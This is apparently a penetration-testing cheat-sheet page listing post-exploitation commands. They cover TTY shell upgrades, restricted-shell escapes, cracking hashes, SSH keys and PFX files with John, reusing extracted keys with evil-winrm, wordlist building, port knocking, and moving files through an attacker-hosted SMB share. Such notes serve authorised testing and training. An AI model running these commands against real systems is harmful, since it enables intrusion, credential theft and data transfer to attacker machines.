notmalicio.us
06 · toolkit

Assorted Techniques

Miscellaneous techniques that can apply to most stages of the kill chain.

11 sections · 2 min read · ~/playbook/assorted-techniques

Upgrading a Shell with TTY

Upgrading a shell with tty:

python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/sh")'

Escape Restricted Shells

Resource: GTFOBins (look for binaries with the Shell function)

Using SSH: Add -t to ssh!

  • Example: ssh USER@IPADDR -t bash
  • Requests bash right away!

When a directory is blocked from a process accessing it, make a symlink:

ln -s /original/file /tmp/newlocation

Sudo As Someone Else

Root: sudo

Another user: sudo -u AnotherUser

Password Cracking

Cracking a password with John:

john --wordlist=/usr/share/wordlists/rockyou.txt ./hashfile.txt

Converting SSH key to John file:

/usr/share/john/ssh2john.py sshkey.txt > sshkey.john

CrackStation for anything else: https://crackstation.net/

Other file types can be transformed to John, see /usr/share/john/

Extracting Data from PFX Files

Cracking a PFX file:

pfx2john FILENAME.pfx > pfx.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ./pfx.hash 

Extracting keys:

openssl pkcs12 -in FILENAME.pfx -nocerts -out FILENAME.enc # First pass is the cracked one, second can be whatever
openssl rsa -in FILENAME.enc -out FILENAME.key # Use second pass here to decrypt the key
openssl pkcs12 -in FILENAME.pfx -clcerts -nokeys -out FILENAME.crt # Obtain the cert

The creds can be used with Evil-WinRM, for example:

evil-winrm -i TARGET -S -k FILENAME.key -c FILENAME.crt

Custom Wordlists for Brute Forcing

Cewl syntax for web servers:

cewl TARGET > cewl_TARGET.cewl

Hashcat syntax for creating a custom password cracking wordlist based on an initial password:

hashcat --stdout PASSWORDFILE -r /usr/share/hashcat/rules/best64.rule

Port Knocking

Steps:

  • Check for the port knocking config
    • i.e. /etc/knockd.conf
  • Use nmap to perform the knocking sequence:
for i in PATTERN; do 
nmap -Pn --host-timeout 100 --max-retries 0 -p $i TARGET >/dev/null 
done; COMMAND 

Transferring Files Using Shares

Set up a share on Kali, in which USER & PASS are set to whatever:

impacket-smbserver share . -user USER -pass PASS -smb2support

Connect to share depending on host OS:

  • Windows
net use \\LHOST\share /u:USER PASS

Reading VHD Files

Use 7zip to list out the files in a large disk: 7z l DISKNAME

Container Enumeration

Docker

DeepCE: https://github.com/stealthcopter/deepce

esc
↑↓ navigate↵ openesc close